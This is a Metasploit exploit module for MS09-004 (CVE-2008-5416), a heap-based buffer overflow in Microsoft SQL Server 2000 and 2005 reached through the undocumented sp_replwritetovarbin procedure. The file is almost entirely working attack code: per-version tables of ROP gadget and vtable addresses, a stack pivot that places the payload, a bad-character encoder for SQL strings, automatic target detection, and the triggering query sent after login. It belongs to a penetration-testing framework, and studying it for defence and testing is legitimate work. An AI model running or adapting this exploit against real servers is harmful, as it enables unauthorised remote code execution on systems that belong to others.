##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::MSSQL

  def initialize(info = {})

    super(update_info(info,
      'Name'           => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
      'Description'    => %q{
          A heap-based buffer overflow can occur when calling the undocumented
        "sp_replwritetovarbin" extended stored procedure. This vulnerability affects
        all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
        and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
        Microsoft patched this vulnerability in SP3 for 2005 without any public
        mention.

        An authenticated database session is required to access the vulnerable code.
        That said, it is possible to access the vulnerable code via an SQL injection
        vulnerability.

        This exploit smashes several pointers, as shown below.

        1. pointer to a 32-bit value that is set to 0
        2. pointer to a 32-bit value that is set to a length influenced by the buffer
          length.
        3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
          this value is referenced with a displacement of 0x38. For MSSQL 2005, the
          displacement is 0x10. The address of our buffer is conveniently stored in
          ecx when this instruction is executed.
        4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
          a displacement of 4. This pointer is not used by this exploit.

        This particular exploit replaces the previous dual-method exploit. It uses
        a technique where the value contained in ecx becomes the stack. From there,
        return oriented programming is used to normalize the execution state and
        finally execute the payload via a "jmp esp". All addresses used were found
        within the sqlservr.exe memory space, yielding very reliable code execution
        using only a single query.

        NOTE: The MSSQL server service does not automatically restart by default. That
        said, some exceptions are caught and will not result in terminating the process.
        If the exploit crashes the service prior to hijacking the stack, it won't die.
        Otherwise, it's a goner.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '50589' ],
          [ 'CVE', '2008-5416' ],
          [ 'BID', '32710' ],
          [ 'MSB', 'MS09-004' ],
          [ 'EDB', '7501' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "", # bad bytes get encoded!
          'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Targets'        =>
        [
          # auto targeting!
          [ 'Automatic', { } ],

          #
          # Individual targets
          #
          [
            # Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
            # Aug  6 2000 00:57:48
            'MSSQL 2000 / MSDE SP0 (8.00.194)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
              'Vtable'   => 0x00a87f26,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x6900a7,    # not directly used - call [ecx+0x08]
              'Disp'     => 0x08,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x0041b78f,  # xchg ecx,esp / sbb [eax],al / pop esi / ret
              'Popped'   => 0x4,         # byte count popped in above (before ret)
              'Offset'   => 0x28,        # offset to the new stack!
              'FixESP'   => 0x0071f5fb,  # advance esp to next ret (add esp,0x20 / ret)
              'Ret'      => 0x0041c9a2   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server  2000 - 8.00.384 (Intel X86)
            # May 23 2001 00:02:52
            'MSSQL 2000 / MSDE SP1 (8.00.384)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
              'Vtable'   => 0x00a95b2f,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x4b4f00,    # not directly used - call [ecx-0x18]
              'Disp'     => 0x34,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x0044d300,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
              'Popped'   => 0x8,         # byte count popped in above (before ret)
              'Offset'   => 0x28,        # offset to the new stack!
              'FixESP'   => 0x004a2ce9,  # advance esp to next ret (add esp,0x1c / ret)
              'Ret'      => 0x004caa15   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server  2000 - 8.00.534 (Intel X86)
            # Nov 19 2001 13:23:50
            'MSSQL 2000 / MSDE SP2 (8.00.534)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
              'Vtable'   => 0x00a64f7e,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x660077,    # not directly used - call [ecx-0x18]
              'Disp'     => 0x34,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x0054131c,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
              'Popped'   => 0x8,         # byte count popped in above (before ret)
              'Offset'   => 0x28,        # offset to the new stack!
              'FixESP'   => 0x005306a0,  # advance esp to next ret (add esp,0x1c / ret)
              'Ret'      => 0x004ca984   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server  2000 - 8.00.760 (Intel X86)
            # Dec 17 2002 14:22:05
            'MSSQL 2000 / MSDE SP3 (8.00.760)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
              'Vtable'   => 0x00ac344e,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x490074,    # not directly used - call [ecx+0x14]
              'Disp'     => 0x34,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x00454303,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
              'Popped'   => 0x8,         # byte count popped in above (before ret)
              'Offset'   => 0x28,        # offset to the new stack!
              'FixESP'   => 0x00503413,  # advance esp to next ret (add esp,0x20 / ret)
              'Ret'      => 0x0043fa97   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server  2000 - 8.00.2039 (Intel X86)
            # May  3 2005 23:18:38
            'MSSQL 2000 / MSDE SP4 (8.00.2039)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
              'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
              'Vtable'   => 0x0046592e,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x69f5e8,    # not directly used - call [ecx+0x14]
              'Disp'     => 0x14,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x007b39a8,  # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
              'Popped'   => 0x4,         # byte count popped in above (before ret)
              'Offset'   => 0x20,        # offset to the new stack!
              'FixESP'   => 0x00b3694d,  # advance esp to next ret (add esp,0x20 / ret)
              'Ret'      => 0x0047c89d   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
            # Oct 14 2005 00:33:37
            'MSSQL 2005 SP0 (9.00.1399.06)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash
              'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)
              'Vtable'   => 0x02201ca8,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x10e860f,   # not directly used - call [ecx+0x14]
              'Disp'     => 0x50,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x0181c0d4,  # push ecx / pop esp / pop ebp / ret
              'Popped'   => 0x4,         # byte count popped in above (before ret)
              'Offset'   => 0x20,        # offset to the new stack!
              'FixESP'   => 0x0147deb7,  # advance esp to next ret (add esp,0x10 / ret)
              'Ret'      => 0x0112c2c7   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
            # Apr 14 2006 01:12:25
            'MSSQL 2005 SP1 (9.00.2047.00)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash
              'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)
              'Vtable'   => 0x0244c803,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x17139e9,   # not directly used - call [ecx+0x14]
              'Disp'     => 0x52,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x0183bf9c,  # push ecx / pop esp / pop ebp / ret
              'Popped'   => 0x4,         # byte count popped in above (before ret)
              'Offset'   => 0x20,        # offset to the new stack!
              'FixESP'   => 0x014923c1,  # advance esp to next ret (add esp,0x10 / ret)
              'Ret'      => 0x011b204c   # jmp esp
            },
          ],

          [
            # Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
            # Feb  9 2007 22:47:07
            'MSSQL 2005 SP2 (9.00.3042.00)',
            {
              'Num'      => 32,          # value for "start_offset"
              'VtOff'    => 63,          # offset from 'Num' to smashed vtable ptr
              'VtDisp'   => 0x10,        # displacement from mov eax,[edx+0x10] / call eax crash
              'Writable' => 0x53ad5330,  # any writable addr (not even necessary really)
              'Vtable'   => 0x027fca52,  # becomes eax for [eax+0x38] (must be valid to exec)
              'FixDisp'  => 0x1106d6b,   # not directly used - call [ecx+0x14]
              'Disp'     => 0x52,        # displacement on call [ecx+disp] used
              'ecx2esp'  => 0x01849641,  # push ecx / pop esp / pop ebp / ret
              'Popped'   => 0x4,         # byte count popped in above (before ret)
              'Offset'   => 0x20,        # offset to the new stack!
              'FixESP'   => 0x01498b22,  # advance esp to next ret (add esp,0x10 / ret)
              'Ret'      => 0x010a5379   # jmp esp
            },
          ],

          [ 'CRASHER', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 09 2008'
      ))

  end

  def check
    # the ping to port 1434 method has two drawbacks...
    # #1, it doesn't work on mssql 2005 or newer (localhost only listening)
    # #2, it doesn't give an accurate version number (sp/os)

    # since we need to have credentials for this vuln, we just login and run a query
    # to get the version information
    if not (version = mssql_query_version())
      return Exploit::CheckCode::Safe
    end
    print_status("@@version returned:\n\t" + version)

    # Any others?
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)
    return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)
    return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)
    return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)
    return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)
    return Exploit::CheckCode::Safe
  end

  def exploit

    mytarget = nil
    if target.name =~ /Automatic/
      print_status("Attempting automatic target detection...")

      version = mssql_query_version
      fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version

      if (version =~ /8\.00\.194/)
        mytarget = targets[1]
      elsif (version =~ /8\.00\.384/)
        mytarget = targets[2]
      elsif (version =~ /8\.00\.534/)
        mytarget = targets[3]
      elsif (version =~ /8\.00\.760/)
        mytarget = targets[4]
      elsif (version =~ /8\.00\.2039/)
        mytarget = targets[5]
      elsif (version =~ /9\.00\.1399\.06/)
        mytarget = targets[6]
      elsif (version =~ /9\.00\.2047\.00/)
        mytarget = targets[7]
      elsif (version =~ /9\.00\.3042\.00/)
        mytarget = targets[8]
      end

      if mytarget.nil?
        fail_with(Failure::NoTarget, "Unable to determine target")
      else
        print_status("Automatically detected target \"#{mytarget.name}\"")
      end
    else
      mytarget = target
    end

    sqlquery = %Q|declare @i int,@z nvarchar(4000)
set @z='declare @e int,@b varbinary,@l int;'
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
exec sp_executesql @z|

    # just crash it with a pattern buffer if the CRASHER target is selected..
    if mytarget.name == 'CRASHER'
      sploit = Rex::Text.pattern_create(2048)
      print_status("Attempting to corrupt memory to cause an exception!")
      num = 32
    else
      # trigger the memory corruption
      num = mytarget['Num']
      vt_off = mytarget['VtOff']
      vt_disp = mytarget['VtDisp']
      vtable = mytarget['Vtable']
      ecx_disp = mytarget['Disp']
      esp_off = mytarget['Offset']
      hijack_esp = mytarget['ecx2esp']
      first_esp = mytarget['Popped']
      fix_esp = mytarget['FixESP']
      writable = mytarget['Writable']
      corruptable_bytes = 0x44

      # make sploit buff
      sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
      #sploit = Rex::Text.pattern_create(sz)
      sploit = rand_text_alphanumeric(sz)

      # remove displacement! (using call [ecx+displacement])
      vtable_off = (num + vt_off)
      sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')

      # stack -> heap
      hijack_off = vtable_off + ecx_disp
      sploit[hijack_off,4] = [hijack_esp].pack('V')
      # becomes eax on mssql 2ksp4 (prevent crash)
      sploit[(vtable_off-4),4] = [writable].pack('V')

      # becomes eip after esp hijack
      fixesp_off = vtable_off + first_esp
      sploit[fixesp_off,4] = [fix_esp].pack('V')

      # rest of magic stack (disable DEP?)
      stack_off = vtable_off + esp_off
      stack = []
      stack << mytarget['Ret']
      stack = stack.pack('V*')
      # jump over the stuff that gets corrupted
      stack << "\xeb" + [corruptable_bytes].pack('C')
      stack << rand_text_alphanumeric(corruptable_bytes)
      stack << payload.encoded
      sploit[stack_off,stack.length] = stack

      # this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
      sploit[hijack_off,4] = [hijack_esp].pack('V')

      print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
    end

    # encode chars that get modified
    enc = mssql_encode_string(sploit)

    # put the number in (start offset)
    runme = sqlquery.gsub(/%NUM%/, num.to_s)
    runme.gsub!(/%STUFF%/, enc)

    # go!
    if !mssql_login_datastore
      fail_with(Failure::NoAccess, "Unable to log in!")
    end
    begin
      mssql_query(runme, datastore['VERBOSE'])
    rescue ::Errno::ECONNRESET, EOFError
      print_error("Error: #{$!}")
    end

    handler
    disconnect
  end


  def mssql_str_to_chars(str)
    ret = ""
    str.unpack('C*').each do |ch|
      ret += "+" if ret.length > 0
      ret += "char("
      ret << ch.to_s
      ret += ")"
    end
    return ret
  end


  def mssql_encode_string(str)
    badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"

    enc = ""
    in_str = true
    str.unpack('C*').each do |ch|
      # double-double single quotes
      if ch == 0x27
        if not in_str
          enc << "+'"
          in_str = true
        end
        enc << ch.chr * 4
        next
      end

      # double backslashes
      if ch == 0x5c
        if not in_str
          enc << "+'"
          in_str = true
        end
        enc << ch.chr * 2
        next
      end

      # convert any bad stuff to char(0xXX)
      if ((idx = badchars.index(ch.chr)))
        enc << "'" if in_str
        enc << "+char(0x%x)" % ch
        in_str = false
      else
        enc << "+'" if not in_str
        enc << ch.chr
        in_str = true
      end
    end
    enc << "+'" if not in_str
    return enc
  end


  def mssql_query_version
    begin
      logged_in = mssql_login_datastore
    rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
      return nil
    end

    if !logged_in
      fail_with(Failure::NoAccess, "Invalid SQL Server credentials")
    end
    res = mssql_query("select @@version", datastore['VERBOSE'])
    disconnect

    return nil if not res
    if res[:errors] and not res[:errors].empty?
      errstr = ""
      res[:errors].each do |err|
        errstr << err
      end
      fail_with(Failure::Unknown, errstr)
    end

    if not res[:rows] or res[:rows].empty?
      return nil
    end

    return res[:rows][0][0]
  end
end
